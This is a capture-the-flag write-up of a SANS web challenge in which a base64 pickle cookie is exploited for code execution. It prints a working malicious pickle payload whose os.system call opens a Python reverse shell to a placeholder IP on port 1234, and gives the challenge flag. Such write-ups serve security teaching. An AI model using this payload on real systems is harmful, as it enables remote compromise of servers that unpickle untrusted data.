> For the complete documentation index, see [llms.txt](https://kf0k-blog.gitbook.io/ctf/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kf0k-blog.gitbook.io/ctf/writups/sans/web/wx01.md).

# WX01

## **About The Challenge**

| Type | Difficulty |
| ---- | ---------- |
| Web  | eXtreme    |

## Solution

The last web challenge was a bit hard and it mostly depends on enumeration and researching. 

![](/files/-MO7_xtt1Le0fwpgYKTt)

![](/files/-MO7c34O5gjOjWvjj-MM)

From the home page it asking for our name, by entering any name the page will show the message `Reload for your greeting...`  nothing interesting here.

![](/files/-MO7amtRJbWu2y96KR1h)

By looking at the cookies I found that their is cookie stored on the website and presence in the request. The value of the cookie is `KGRwMApWbmFtZQpwMQpWdGV0cwpwMgpzLg==`which is base64 encoded and the decoded base64 value is: 

```
(dp0
Vname
p1
Vtets
p2
s.
```

![](/files/-MO7bve52G_-GaVL4rKb)

After researching I found the decoded value is python library called Pickle and it is having remote code execution vulnerability. 

After I identifying that the code is vulnerable to RCE I inject a reverse shell into the code using the following command:

```
cos
system
(S'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
tR.
```

Then I base64 encode it. 

![](/files/-MO7eAJd6Vfo1INiOxpQ)

Finally I entered my base64 encoded text into the input then I got the flag. 

{% hint style="info" %}
Here I created a netcat listener on my machine in order to get a reverse shell but surprisingly I got the flag from the website as output.   
{% endhint %}

**Flag is:** whaTaPiCKle-018817